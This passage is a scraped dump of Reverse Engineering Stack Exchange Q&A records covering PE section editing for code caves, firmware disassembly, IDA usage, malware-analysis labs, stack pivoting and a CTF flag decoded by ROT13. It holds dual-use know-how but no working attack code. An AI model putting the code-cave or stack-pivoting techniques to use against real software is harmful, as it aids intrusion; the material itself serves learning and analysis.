    Update: The debugger still wasn't perfect on the location of the new section in the memory map but I can see my new bytes ~200h down from where they are listed. To get it to work I had to:

    \n\n\n\n

    Still not sure why the memory map is slightly off but it's not too bad. I suppose once you find them you could edit the virtual address of the section to reflect where it actually is once loaded into memory.

    \n\n

    \"enter

    \n", "Title": "Adding a new PE section for a code cave", "Tags": "|pe|hex|binary-format|", "Answer": "

    Adding sections to PE files is not always as simple as editing the sections table. Sometimes you'll have to handle several edge cases such as menifest, signatures and other potential end-of-file optional \"extensions\".

    \n\n

    Although LordPE is a great tool, it isn't the best tool for this task. It is too low-level, and doesn't let you create a complete new section transparently. It will let you edit the different fields as required for adding the new section, but you'll have to handle everything yourself.

    \n\n

    There are more advanced PE editors, such as CFF Explorer, that provide the functionality to create sections from scratch. It will increase the file size of you and create a section you can directly edit from within CFF Explorer.

    \n\n

    To add a new section, open a file with CFF Explorer, select the Section Headers option from the lefthand tree view, right click on the sections table, select the \"Add Section (Empty Space)\" option like in the following picture:

    \n\n

    \"enter

    \n\n

    Then, specify the size of the new section.

    \n\n

    To edit the new section select it, and use the bottom panel to modify, paste, copy or fill the hex view of the section. You can right click on it to open a menu with additional editing options.

    \n" }, { "Id": "15049", "CreationDate": "2017-03-29T15:27:31.703", "Body": "

    I want to extract machine code from XBee DigiMesh firmware (Cortex-M3, EM357), so I have SREC file with 3 sections inside. I suppose that one of these sections is a code section, but arm-none-eabi-objdump reports \"unknown instruction\" very often. Does anyone know why this happens?

    \n\n

    This is how I try to do this:

    \n\n
    arm-none-eabi-objcopy --input-target=srec --output-target=binary -j .sec2 xbp24-dm_8073.ehx2.dec sec2.bin\narm-none-eabi-objdump -D -bbinary -marm -Mforce-thumb sec2.bin\n
    \n\n\n\n

    Update: I converted ehx2 to ehx2.dec by http://git.nazaryev.ru/xctu-decoder.git/

    \n", "Title": "Can't extract machine code from Cortex-M3 firmware", "Tags": "|arm|", "Answer": "

    The code in file is not ARM. In the binary the following string can be seen:

    \n\n
    \n

    HW Part #: MC13213

    \n
    \n\n

    Googling for it leads to this page which says:

    \n\n
    \n

    The MC13213 System in Package (SiP) integrates the MC9S08GT MCU\n with the MC1320x transceiver into a single 9x9mm LGA package.

    \n
    \n\n

    and

    \n\n
    \n

    40 MHz HCS08 low-voltage, low-power core

    \n
    \n\n

    And indeed, choosing HCS08 in IDA leads to reasonably-looking disassembly

    \n\n
    seg000:1893 start:\nseg000:1893\nseg000:1893 ; FUNCTION CHUNK AT seg000:23BC SIZE 0000009F BYTES\nseg000:1893\nseg000:1893                 ldhx    #$F2E\nseg000:1896                 txs\nseg000:1897                 ldhx    #$E02\nseg000:189A                 sthx    $177\nseg000:189D                 bra     loc_18AD\nseg000:189F ; ---------------------------------------------------------------------------\nseg000:189F\nseg000:189F loc_189F:                               ; CODE XREF: start+20j\nseg000:189F                 lda     #$A5 ; '\u00d1'\nseg000:18A1                 ldhx    $177\nseg000:18A4                 sta     , x\nseg000:18A5                 ldhx    #$177\nseg000:18A8                 inc     1, x\nseg000:18AA                 bne     loc_18AD\nseg000:18AC                 inc     , x\nseg000:18AD\nseg000:18AD loc_18AD:                               ; CODE XREF: start+Aj\nseg000:18AD                                         ; start+17j\nseg000:18AD                 ldhx    $177\nseg000:18B0                 cphx    #$F2E\nseg000:18B3                 bcs     loc_189F\nseg000:18B5                 jsr     sub_182C\nseg000:18B8                 jmp     loc_23BC\n
    \n\n

    \u00a0

    \n" }, { "Id": "15056", "CreationDate": "2017-03-31T13:11:39.360", "Body": "

    I'm trying to play with the internals of a toy and the controller for that toy uses a chip that I have been unable to find any information on. The chip in question is this:\n\"enter

    \n\n

    The company is clearly visible, but I can't seem to find anything about them. Given the ambiguity in the font, i've tried googling \"Aveo\", \"Nveo\", \"Aueo\" and \"Nueo\" all to no results. I've tried googling the AV2881 chip identification only to find that there is a very specific type of wall paper that has that label.

    \n\n

    The chip is clearly a processor/controller of some type and what i'm ultimately trying to figure out here is how can i find the instruction set it uses (usually these things, even if a custom chip, use a known core instead of a custom instruction set) and how i can extract the firmware. In this particular case, i believe that the firmware is not necessarily on chip but on the 8M EEPROM that is next to the chip.

    \n\n

    Hardware hacking is not my strong suit, but it anyone has some pointers about how i can identify this chip, i'd be most grateful.

    \n\n

    UPDATE:\n per the request below, here is a larger picture of the controller board:\n\"enter The toy in question is the NERF Terrascout. I wasnt sure if it was cool to call out the product in a post which is why i was being a bit cagey about it above.

    \n\n

    greg.

    \n", "Title": "How to identify unknown chip", "Tags": "|hardware|", "Answer": "

    Aveo is aveo technolgy corp some software related to usb uvc camera seens ti be available here.

    \n\n

    http://aveo.drivers.informer.com/ not sure if the links are geniune appears to be collated compilation

    \n\n

    Please make sure you download and inspect in a relatively safe environment

    \n\n

    There are some datasheets of different model seems to available here.

    \n\n

    http://www.datasheetspdf.com/PDF/AV316H/769502/5

    \n\n

    Webarchive knows about av288 and says it is 8051

    \n\n

    https://web-beta.archive.org/web/20150503120144/http://www.aveotek.com:80/288.htm

    \n" }, { "Id": "15057", "CreationDate": "2017-03-31T14:22:14.353", "Body": "

    The Watcom compiler uses a fairly unusual calling convention, and IDA seems to be discarding some of the changes as irrelevant to its built-in pseudo-code. In my experience, that usually means I'm doing something wrong, as opposed to IDA :)

    \n\n

    For example, in the following function fragment, the changes to ebx and edx are ignored in the pseudo-code.

    \n\n
    ; void __usercall RunScrIncDec(GeneralObject *object@<eax>, int *bufPtr@<edx>, int value@<ebx>)\nRunScrIncDec    proc near\n                cmp     byte ptr [edx], 0Ah\n                jnz     short loc_164288\n\n                inc     ebx\n                inc     edx\n                retn\n...\n
    \n\n

    Note here that bufPtr and value are both incremented, and value is indeed passed by value, not by reference.

    \n\n

    If I change the function's return type so that it's an int by replacing the void return type with an int and appending the value location @<ebx>, then IDA includes ebx one in the pseudo-code, but still ignores edx.

    \n\n

    Is there any way to tell IDA to pay attention to these changes?\nThat edx and ebx aren't merely spoiled by the function, and that they're notable changes that should be reversed to bufPtr++ and value++ rather than not showing any pseudo-code at all?\nOr is this just something that IDA isn't built to handle?

    \n", "Title": "IDA ignoring register changes in pseudocode", "Tags": "|ida|functions|", "Answer": "

    As you rightfully figured out, IDA only takes into account changes it understands are related to the rest of the code. It will consider those values only in the case they're indeed return values the calling function.

    \n\n

    What you'll need to do, as you've figured out yourself, is to make IDA understand those are returned values.

    \n\n

    Here's a trick to let you do that, by setting that function to return a structure of two DWORDs (or any other type defined in the structure).

    \n\n

    First, create an IDA structure by going to the structures view (shift+F9) and then create a new structure (INS).

    \n\n

    In that structure, define two DWORD integers (either by using D on the bottom of the structure or CTRL+E to increase the structure's size first).

    \n\n

    Then go back to the function, and modify the function's prototype. replace the void return type with the name of your structure, and append the value location specifier after the function's name. To specify two registers, in our case EBX and EDX`, use colons in between.

    \n\n

    The final result should look like this, assuming you named your struct s_ret:

    \n\n
    s_ret __usercall RunScrIncDec@<eax:ecx>(GeneralObject *object@<eax>, int *bufPtr@<edx>, int value@<ebx>)\n^^^^^                        ^^^^^^^^^^\n
    \n" }, { "Id": "15061", "CreationDate": "2017-04-01T04:21:43.973", "Body": "

    When I use GetDisasm()to get disassembly line, I find out that it will show some memory references as a variable name.

    \n\n

    For example, when raw assembly is:

    \n\n
    mov %r15, 0x20b062(%rip)`\n
    \n\n

    GetDisasm()'s output may be:

    \n\n
    mov r15d, offset s1\n
    \n\n

    I was hoping there is a way to get the raw instruction, rather than the modified one?

    \n", "Title": "How to get the disassembly line without offset translations in IDAPython?", "Tags": "|ida|binary-analysis|idapython|", "Answer": "

    Unfortunately, IDA's disassembly cannot be separated from it's data type information that is inherent to IDA (and is considered one of it's biggest advantages).

    \n\n

    You could, however, alter that information manually to get IDA to display the disassembly as you please. For example, you could use the idc.OpHex(ea, n) API function to make an instruction operand to hexadecimal number format.

    \n\n

    For example, in order to change the type of the second operand from offset parameter type to hexadecimal parameter type, you can call idc.OpHex with the address of the instruction as the first parameter and the operand number as the second parameter (1 in your example), or -1 for all operands.

    \n\n

    For example, given the following instruction in IDA:

    \n\n
    .text:00401421                 mov     ebx, offset aL4jDontWait ; \"--l4j-dont-wait\"\n
    \n\n

    and the output:

    \n\n
    Python>idc.GetDisasm(0x0401421)\nmov     ebx, offset aL4jDontWait; \"--l4j-dont-wait\"\nPython>idc.OpHex(0x0401421, 1)\nTrue\nPython>idc.GetDisasm(0x0401421)\nmov     ebx, 407000h\n
    \n\n

    You could then just load a previous save to \"undo\" all of those changes.

    \n" }, { "Id": "15066", "CreationDate": "2017-04-02T00:49:40.510", "Body": "

    A PIE binary, when loaded in IDA shows an offset (0x202010) different from gdb (0x2013a1) for instruction located at 0x555555554c68 in (gdb) and 0xc68 (in IDA). How can I explain this discrepancy?

    \n\n

    \"enter\n\"enter

    \n", "Title": "Why is there a difference in offset between ida and gdb?", "Tags": "|ida|gdb|", "Answer": "

    IDA shows a simplified operand, with the rip+<delta> value resolved, so you don't have to calculate it yourself. If you prefer, you can view the original form of rip-relative instructions by enabling \"explicit RIP addressing\" in processor-specific options.

    \n" }, { "Id": "15067", "CreationDate": "2017-04-02T02:38:17.140", "Body": "

    I'm trying to analyze a piece of malware that is most-likely a downloader. During dynamic analysis on an isolated VM network, Wireshark registered a GET request to a server for what I believe is the payload (a .bin file).

    \n\n

    What is a safe way to download the payload? Is there a tool that will allow me to replicate only the GET request? I do not want to run the malware connected to the internet.

    \n\n

    Thanks

    \n", "Title": "Safe way to download a malware payload?", "Tags": "|windows|malware|", "Answer": "

    If you've got the GET reply captured in the wireshark session, then I'd suggest you to just extract the binary from it. This also way you also avoid situations where downloader uses some kind of challenge/response or time-based protocol which means second attempt with the same URL would fail or it was a fast-flux or hijacked server which could be down by the time you get to trying the download again.

    \n" }, { "Id": "15080", "CreationDate": "2017-04-03T06:13:25.293", "Body": "

    I have read document pecoff_v83 of Microsoft. In The .reloc section part, I have read:

    \n\n
    \n

    The Fix-Up Table contains entries for all fixups in the image. The Total Fix-Up Data Size in the Optional Header is the number of bytes in the fixup table. The fixup table is broken into blocks of fixups. Each block represents the fixups for a 4K page. Each block must start on a 32-bit boundary.

    \n
    \n\n

    And, I knew that each block contain: Page RVA and Block Size. Each Block size contain: Type and offset.

    \n\n

    I used peview:

    \n\n

    \"peview

    \n\n

    I have a few questions:

    \n\n
      \n

    1. \"Each block must start on a 32-bit boundary\" - I don't understand that, can you explain it?

      2. \n

    2. Do PE files use IMAGE_BASE_RELOCATION to work?

      3. \n

    3. From this SO question ('So most of the binary is composed of reloc table?') :

      \n\n
      \n

      If your program makes a frequent access to global variables and constants, it will have a huge relocation table because theres so much places that the loader has to update

      \n
      \n\n

      How does the loader use relocation table and update it?

      4. \n
    \n", "Title": "How .reloc Section is used in PE file?", "Tags": "|pe|dynamic-linking|", "Answer": "
    \n

    "Each block must start on a 32-bit boundary" - I don't understand that, can you explain it?

    \n
    \n

    It means even if you have space after your block finished, you must use next 32-bit aligned address for your RVA. In my opinion, it is mostly because of page optimization. You can read this document for further understanding.

    \n
    \n

    Do PE files use IMAGE_BASE_RELOCATION to work?

    \n
    \n

    IMAGE_BASE_RELOCATION is a data structure which can be expressed as:

    \n
    typedef struct _IMAGE_BASE_RELOCATION {\n    DWORD   VirtualAddress;\n    DWORD   SizeOfBlock;\n} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;\n
    \n

    PE files don't use IMAGE_BASE_RELOCATION structure to work, PE loader (dynamic linker) use it for constructing relocation table. You can read this topic if you want to learn more about relocation table.

    \n
    \n

    JosephH says:

    \n

    "If your program makes a frequent access to global variables and constants, it will have a huge relocation table because theres so much places that the loader has to update"\nHow does the loader use relocation table and update it?

    \n
    \n

    Since you use .reloc in your title question, I will explain you relocation information in the .reloc section. This section holds information for base relocations which mean if required files cannot be loaded their preferred addresses (because already something mapped to it) instructions or variables relocated with that information.

    \n

    Loader uses virtual addresses, offset and loaded address to resolve and relocate which is another way to say adjusting addresses.

    \n" }, { "Id": "15083", "CreationDate": "2017-04-03T14:01:15.997", "Body": "

    Where i can get DGA (Domain Generation Algorithm) based malware files for analysis?\nAnd,Can I get malware family names which is using Domain Generation Algorithm?

    \n", "Title": "DGA(Domain Generation Algorithm) based malware files", "Tags": "|malware|networking|dga|", "Answer": "

    I know of no collection of malware samples, focusing specifically on DGAs.\nHowever, there are some resources that generally concentrate on DGAs and may provide you enough pointers to identify a reasonable number of different samples yourself.

    \n\n
      \n

    1. There is Johannes Bader's github repository which features several reimplementations of DGAs found in malware, along with detailed write-ups and reference hashes.

      2. \n

    2. If you are looking for some more background (more than in my BotConf talk) check out our USENIX paper, we listed many of the primary characteristics for a selection DGAs.

      3. \n

    3. I also run DGArchive - the referenced database of algorithmically generated domains (69 DGAs, 617 seeds, 63,699,402 unique domains). Other similar databases are John Bambenek's OSINT feed and 360.cn Netlab's DGA project.

      4. \n

    4. I will likely provide tags on samples (such as \"c2_dga\" or similar) on the corpus of my current pet project malpedia.

      5. \n
    \n" }, { "Id": "15095", "CreationDate": "2017-04-04T22:39:43.617", "Body": "

    I am using objcopy to convert elf to hex. When I disassemble the elf in IDA Pro, all the sections are present, but they are missing from my hex and it seems the elf headers:

    \n\n
    C:\\TricoreGCC>tricore-readelf -l test1.elf\n\nElf file type is EXEC (Executable file)\nEntry point 0x80132000\nThere are 3 program headers, starting at offset 52\n\nProgram Headers:\nType           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\nLOAD           0x000000 0x80130000 0x80130000 0x023e8 0x023e8 R E 0x4000\nLOAD           0x003000 0x801cb000 0x801cb000 0x01478 0x01478 RW  0x4000\nLOAD           0x005500 0xd0015500 0xd0015500 0x00000 0x00008 RW  0x4000\n\nSection to Segment mapping:\nSegment Sections...\n00     .text .rodata\n01     .data\n02     .bss\n
    \n\n

    In an assembler file I have this:

    \n\n
    .section .jfuel , \"x\"\nj translatefuel\n
    \n\n

    In a linker script file I have this:

    \n\n
    SECTIONS\n{\n. = 0x800B5964;\n.jfuel : { *(.jfuel) }\n. = 0x80132000;\n.text : { *(.text) }\n.rodata : { *(.rodata) }\n. = 0x801CB000;\n.data : { *(.data) }\n. = 0xD0015500;\n.bss : { *(.bss) }\n}\n
    \n\n

    The elf file does contain symbols from this section though:

    \n\n
    Symbol table '.symtab' contains 85 entries:\nNum:    Value  Size Type    Bind   Vis      Ndx Name\n 0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND\n 1: 800b5964     0 SECTION LOCAL  DEFAULT    1...\n
    \n\n

    and later there is my .text section:

    \n\n
     5: 80132000     0 SECTION LOCAL  DEFAULT    5...\n
    \n\n

    Somehow I am not defining the section properly in the linker script file. Because it doesn't have a traditional name like .text I'm missing something that is stopping it getting into the sections to \"load\" into the elf and hence the hex, although IDA Pro loading the elf is showing the sections correctly placed, and their contents.

    \n\n

    Posting in RE because I'm patching binaries with a combination of C and asm.

    \n\n

    Thanks!

    \n", "Title": "GNU objcopy: elf to hex missing sections", "Tags": "|elf|section|", "Answer": "

    Answer in this case after hint from @Igor Skochinsky is:

    \n\n

    Change:

    \n\n
    .section .jfuel , \"x\"\nj translatefuel\n
    \n\n

    To:

    \n\n
    .section .jfuel , \"ax\"\nj translatefuel\n
    \n\n

    .text has AX (alloc, execute) by default whereas .jfuel only had X because that was all I added originally.

    \n" }, { "Id": "15102", "CreationDate": "2017-04-05T11:48:38.570", "Body": "

    I've been trying to identify this little fellow:

    \n\n

    \"enter

    \n\n

    The symbol indicates Analog devices. But the Cryptic \"Y 4 A\" is giving me a headache. Ive searched throughout the internet for the labelling norms of AD but I can't find it. Everything that is explained relates to ADXXXX... something. No word about single char labelling.

    \n\n

    I'm sorry for the bad resolution, but I can't provide a better picture.

    \n", "Title": "Analog Devices chip identification Y 4 A", "Tags": "|integrated-circuit|", "Answer": "

    By searching \"Y4A\" site:analog.com I found this datasheet which seems pretty close.

    \n" }, { "Id": "15111", "CreationDate": "2017-04-06T09:19:01.473", "Body": "

    I'm reverse-engineering custom binary file format. I'm using 010 Editor to check this file. I found data structure to represent UTF-8 strings, which has header section of one or two bytes in length then the actual UTF-8 string data. The header section seems to store total number of bytes needed for the string data.

    \n\n
    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2566\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2566\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 first byte \u2551 optional byte \u2551 UTF-8 string data \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2569\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2569\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n
    \n\n

    The second byte in header is optional and it's only there when UTF-8 string needs more than 128 bytes to be stored. When string length is less or equal 128 bytes, decoding it's length is easy. However, when string length > 128, I'm failing to calculate string length from header section. So I did experiments and generated many binary files with different string length and below is the result. String length is the total number of bytes needed to store the string. First and second columns are first and second optional byte in header section.

    \n\n
    \u2554\u2550\u2550\u2550\u2550\u2566\u2550\u2550\u2550\u2550\u2566\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 01 \u2551 02 \u2551 String length \u2551\n\u2560\u2550\u2550\u2550\u2550\u256c\u2550\u2550\u2550\u2550\u256c\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551 7D \u2551N/A \u2551           126 \u2551\n\u2551 7E \u2551N/A \u2551           127 \u2551\n\u2551 7F \u2551N/A \u2551           128 \u2551\n\u2551 80 \u2551 01 \u2551           129 \u2551\n\u2551 81 \u2551 01 \u2551           130 \u2551\n\u2551 C7 \u2551 01 \u2551           200 \u2551\n\u2551 C8 \u2551 01 \u2551           201 \u2551\n\u2551 F9 \u2551 01 \u2551           250 \u2551\n\u2551 FE \u2551 01 \u2551           255 \u2551\n\u2551 FF \u2551 01 \u2551           256 \u2551\n\u2551 80 \u2551 02 \u2551           257 \u2551\n\u2551 81 \u2551 02 \u2551           258 \u2551\n\u2551 82 \u2551 02 \u2551           259 \u2551\n\u2551 F3 \u2551 03 \u2551           500 \u2551\n\u2551 F4 \u2551 03 \u2551           501 \u2551\n\u2551 F5 \u2551 03 \u2551           502 \u2551\n\u2551 F6 \u2551 03 \u2551           503 \u2551\n\u2551 80 \u2551 04 \u2551           513 \u2551\n\u255a\u2550\u2550\u2550\u2550\u2569\u2550\u2550\u2550\u2550\u2569\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n
    \n\n

    I read somewhere that Pascal\\Delphi is using string format where it has header to save string length instead of null terminated strings like in C, which look similar to my case.

    \n\n

    My question is how can I calculate string length when it's greater than 128 bytes in length using values in header section?

    \n", "Title": "Problem with converting hex values to decimal", "Tags": "|binary-analysis|hex|strings|struct|binary-format|", "Answer": "

    This looks like the LEB128 encoding.\u00a0

    \n\n

    \u00a0

    \n\n

    Essentially, this is a variable length encoding where the lowest 7 bits of each byte store part of the value and highest bit of each byte is set if it's not the last byte. The successive 7-bit values are stored in little-endian order.

    \n\n

    \u00a0

    \n\n

    For more details, and especially for how signed numbers are handled, see either the DWARF Debugging Standard or the Android DEX file format documentation.

    \n\n

    \u00a0

    \n\n

    This is similar to the Variable-Length Quantity format used in MIDI files and ASN.1 encoding which uses big-endian ordering.

    \n" }, { "Id": "15118", "CreationDate": "2017-04-07T09:42:16.827", "Body": "

    i have tried almost all links about batch mode.\nMy Question is that i did not get the user manual about batch mode of ida pro that how can i use the commands like -c -A -B and how i can run script on on any file with batch or terminal mode commands\nand what the use of idag, idaw

    \n", "Title": "Batch mode of ida pro 6.5", "Tags": "|ida|disassembly|idapython|ida-plugin|", "Answer": "

    You should do the following:

    \n\n\n\n

    Here is how it works (and worked always) on my computer with IDA 6.95 (I analyzing 64 bit object file test.o, and corresponding ida database extension is not idb, but i64):

    \n\n
    C:\\Users\\[censored]\\Downloads\\idatest>copy z:\\test.o .\\\n        1 file(s) copied.\n\nC:\\Users\\[censored]\\Downloads\\idatest>\"c:\\Program Files (x86)\\IDA 6.95\\idaq64.exe\" -B .\\test.o\n\nC:\\Users\\[censored]\\Downloads\\idatest>dir\n Volume in drive C is OSDisk\n Volume Serial Number is F88B-CF68\n\n Directory of C:\\Users\\[censored]\\Downloads\\idatest\n\n04/13/2017  04:20 PM    <DIR>          .\n04/13/2017  04:20 PM    <DIR>          ..\n04/13/2017  04:20 PM             2,985 test.asm\n04/13/2017  04:20 PM            65,992 test.i64\n03/22/2017  06:44 PM             1,424 test.o\n               3 File(s)         70,401 bytes\n               2 Dir(s)   8,296,001,536 bytes free\n
    \n\n

    Let me know in comments if something doesn't work. Btw, help on command line switches is here.

    \n" }, { "Id": "15120", "CreationDate": "2017-04-07T16:41:14.963", "Body": "

    I am reading up a writeup on an example attack here where I have come across the technique called stack migration. The page is translated to English. Googling doesn't give me any fruitful pointer on the technique itself. Is stack migration a standard attack technique? If so, pointers would be appreciated.

    \n", "Title": "Is stack migration a standard attack technique?", "Tags": "|exploit|stack|", "Answer": "

    I don't know Chinese but It seems the post describes stack pivoting. It is a technique used in cases where you can't control the contents of the actual stack used by the target but can change the stack pointer to point into some other memory area you control (e.g. heap). For example, this blog post explains:

    \n
    \n

    With stack pivoting, attacks can pivot from the real stack to a fake\nstack which could be an attacker-controlled buffer, such as the heap,\nthen attackers can control the program execution. For example, this is\nachieved by controlling data pointed to by RSP(stack pointer\nregister), such that each ret instruction results in incrementing RSP\nand transferring execution to the next address chosen by attackers.

    \n
    \n

    So yes, it's a real and common technique, you just used not the best translation :)

    \n" }, { "Id": "15127", "CreationDate": "2017-04-08T12:06:38.320", "Body": "

    I am working on Lab13-01.exe from \"Practical Malware Analysis\" (you can download it from here).

    \n\n

    When I run it without debuggers in my VMWare it runs without errors.

    \n\n

    I started to analyze it with OllyDbg 2.01.

    \n\n

    There is some point in the code that it receives exception and I don't understand why.

    \n\n

    It has resource that contains encoded string:

    \n\n
    LLLKIZXORXZWVZWLZI^ZUZWBHRHXTV\n
    \n\n

    This resource is saved at address 0x408060
    \nAt 0x4011C1 it overwrites the first byte of the string with AL (0x77):

    \n\n
    MOV BYTE PTR DS:[ECX], AL\n
    \n\n

    Then I received:

    \n\n
    \n

    Access violation when writing to [00408060]

    \n
    \n\n

    \"enter

    \n\n

    When I press Shift+Run/Step, it succeed to run.

    \n\n

    There number of things I don't understand here.

    \n\n
      \n
    1. If it can't write to [00408060], how come when I press Shift+Run/Step it succeed ?
      2. \n
    2. Why it can't write to [00408060] ? Is there some flag that prevent from writing to this aread (if yes, where can I see it?) ?
      3. \n
    \n", "Title": "Why the program can't write to specific memory area", "Tags": "|ollydbg|exception|", "Answer": "

    I went to the memory map window.
    \nI searched for the memory address range for 408060.
    \nIt was under .rsrc (Resources).
    \nIt had only read permissions, I set it with write permissions too and now it works:

    \n\n

    \"enter

    \n" }, { "Id": "15128", "CreationDate": "2017-04-08T13:25:54.587", "Body": "

    I am trying to reverse engineer the Linksys WAG120N router firmware. I've been able to unpack it and extract the bootloader, kernel and filesystem.

    \n\n

    The kernel is MIPS big endian. I loaded the kernel into IDA pro with start address of 0x80002000. The entry point is 0x801B2040.

    \n\n

    The problem I have now is that all the functions are named as sub_. I need a symbol table to help me reverse this binary. Binwalk doesn't find any symbol tables and I'm not sure how to rebuild a symbol table, as I am new to this sort of stuff.

    \n\n

    I read a post Rebuild symbol table, but that was about static and shared libraries, which my kernel is not.

    \n\n

    Running file on my kernel gives

    \n\n
    kernel: data\n
    \n\n

    I don't know if the binary has a symbol table, but if it does, I don't know how to extract it. Or is there another way of reversing the binary?

    \n\n

    Any help is appreciated.

    \n\n

    EDIT: I have found what appears to be a symbol table. It has the libc string functions and lots of other functions. But there aren't many cross references to these function names in the disassembly. How do I use this?

    \n", "Title": "Rebuilding a symbol table for a firmware binary", "Tags": "|ida|disassembly|symbols|kernel|", "Answer": "

    It sounds like you aren't sure what you want to do exactly. Is there any part of the firmware you want to reverse engineer in particular? I suggest you first start by reading some blog posts on devttys0.com, as he seems like an excellent source for information about reverse-engineering router firmwares.

    \n\n

    If a binary contains symbols, IDA Pro should automatically load them for you. Very often router firmwares have had their symbols stripped. However, the Linux kernel is licensed under the GPL, meaning that the manufacturer is obligated to provide the source code for the kernel. And Linksys does provide the source code for your router's kernel; you can start by looking at that.

    \n\n

    Often, however, interesting stuff is in kernel modules and/or binaries in the rootfs, not the kernel itself. I downloaded the firmware for your router and extracted it with binwalk -Mrev, and binwalk was indeed able to extract the rootfs. Look through it to see if you can find anything interesting.

    \n\n

    As an example, let's look at the main web CGI binary, usr/sbin/setup.cgi. Running file against this file gives the following:

    \n\n
    usr/sbin/setup.cgi: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped\n
    \n\n

    The binary has been stripped, but looking at the symbol table with readelf -s usr/sbin/setup.cgi, we can still see quite a few interesting function names. Next, we can look at the strings in the binary with strings. (I personally prefer using strings -n8 because often strings less than 8 characters are false positives, and when they aren't, they are usually unimportant anyways.) Often the strings of a binary can reveal quite a bit about what the binary does and how the binary works, and this is made easier by the fact that router manufacturers love using system(3) to run Linux shell commands.

    \n\n

    Once you know that you have found an interesting binary, you can then load it into IDA Pro to disassemble it and start reverse-engineering it.

    \n" }, { "Id": "15140", "CreationDate": "2017-04-11T11:01:46.493", "Body": "

    My problem is: hexrays thinks that semicolon is visible character. \nIn IDAPython idaapi.is_visible_char(';') returns True

    \n\n

    In picture you can see \"field_100C;\" highlighted, but \"field_100C\" not highlighted.

    \n\n

    \"enter

    \n\n

    In ida.cfg I have following NameChars (this is ARM LE):
    \nNameChars =
    \n \"_0123456789\"
    \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"
    \n \"abcdefghijklmnopqrstuvwxyz\";

    \n\n

    In any other NameChars array semicolon is not added.
    \nSo, how can this behaviour get fixed? Is there idapython call of some sorts? Can plugins be a reason for this? Is there GUI option to check?

    \n\n

    Found this, but it didnt help
    \nhttps://www.hex-rays.com/products/ida/support/sdkdoc/name_8hpp.html

    \n", "Title": "Incorrect semicolon usage in decompiled variables", "Tags": "|ida|ida-plugin|", "Answer": "

    Still don't know what was the root of the problem, but PC restart helped...
    \n';' stopped magically appearing in NameChars array.

    \n" }, { "Id": "15141", "CreationDate": "2017-04-11T11:48:07.117", "Body": "

    The binary is from here: https://files.fm/u/qtqmhhdd

    \n

    I've been attempting this a couple of days. It's an ELF-64 bit file and I've gdb and IDA to see how it works for a while. You can run the file by

    \n
    ./reverse1.bin TEST (outputs a fail message)\n
    \n

    In gdb it runs a _Z5checkPc function and you can use "disas check". It uses the flag from address 0x601038 which is

    \n
     synt{0p5r7996pnq3qn36377036onor7342s41pq30r3n3q0p46n283862718o7n6s78n}\n
    \n

    But I don't see it where it actually gets used in the code.

    \n

    From the check function it seems to does a bunch of operations (or, add, ...) to your arg. I thought it would do a compare to see determine if it "fails" or "success" at 0x00000000004005b0 but that is not right, strangely.

    \n

    Any insights on what to do?

    \n", "Title": "Reverse engineering binary file to find flag", "Tags": "|binary-analysis|decompilation|binary|", "Answer": "

    Actually, you got the flag!

    \n

    Do a ROT13 on

    \n
    synt{0p5r7996pnq3qn36377036onor7342s41pq30r3n3q0p46n283862718o7n6s78n} \n
    \n

    to get

    \n
    flag{0c5e7996cad3da36377036babe7342f41cd30e3a3d0c46a283862718b7a6f78a}\n
    \n" }, { "Id": "15145", "CreationDate": "2017-04-12T02:14:22.517", "Body": "

    Working to debug and analyze a piece of firmware, I've come across a bunch of cgi files which are all symlinked to a central cgi file. The first thing the main function does is run a series of string comparisons to identify which cgi file's functions should be run.

    \n\n

    The issue is I am now trying to map the functions to their respective cgi names, but I am relatively new to binary debugging and cannot figure how to identify which values represent the string hard-coded into memory that the input is being compared to. I am using Radare2 and a sample of the code and a screenshot of the structure can be seen below.

    \n\n

    Any advice would be appreciated!

    \n\n
    0x000099a4   08001be5    ldr r0, [fp - local_8h]   ; const char * s1\n0x000099a8   b81709e3    movw r1, 0x97b8\n0x000099ac   021040e3    movt r1, 2                ; const char * s2\n0x000099b0   5affffeb     bl sym.imp.strcmp        ;[3]; int strcmp(const char *s1, const char *s2)\n0x000099b4   0030a0e1    mov r3, r0\n0x000099b8   000053e3    cmp r3, 0\n0x000099bc   0500001a    bne 0x99d8                ;[4]\n0x000099c0   10001be5    ldr r0, [fp - local_10h]\n0x000099c4   14101be5    ldr r1, [fp - local_14h]\n0x000099c8   18201be5    ldr r2, [fp - local_18h]\n0x000099cc   1f4e00eb    bl sub.setuid_250         ;[5]\n0x000099d0   0c000be5    str r0, [fp - local_ch]\n
    \n\n

    \"Structure\"

    \n", "Title": "Trying to identify a string in a strcmp instruction", "Tags": "|disassembly|binary-analysis|firmware|radare2|binary|", "Answer": "

    You need to read the ARM instruction reference. movt is the \"Move Top\" instruction, which sets the top 16 bits of a register to the specified value without changing the low 16 bits.

    \n\n

    In other words, the sequence:

    \n\n
    movw r1, 0x97b8\nmovt r1, 2    \n
    \n\n

    is equivalent to:

    \n\n
    r1 = 0x97b8\nr1 |= (2<<16);\n
    \n\n

    which results in r1= 0x297b8, so that check that address for the string being compared to.

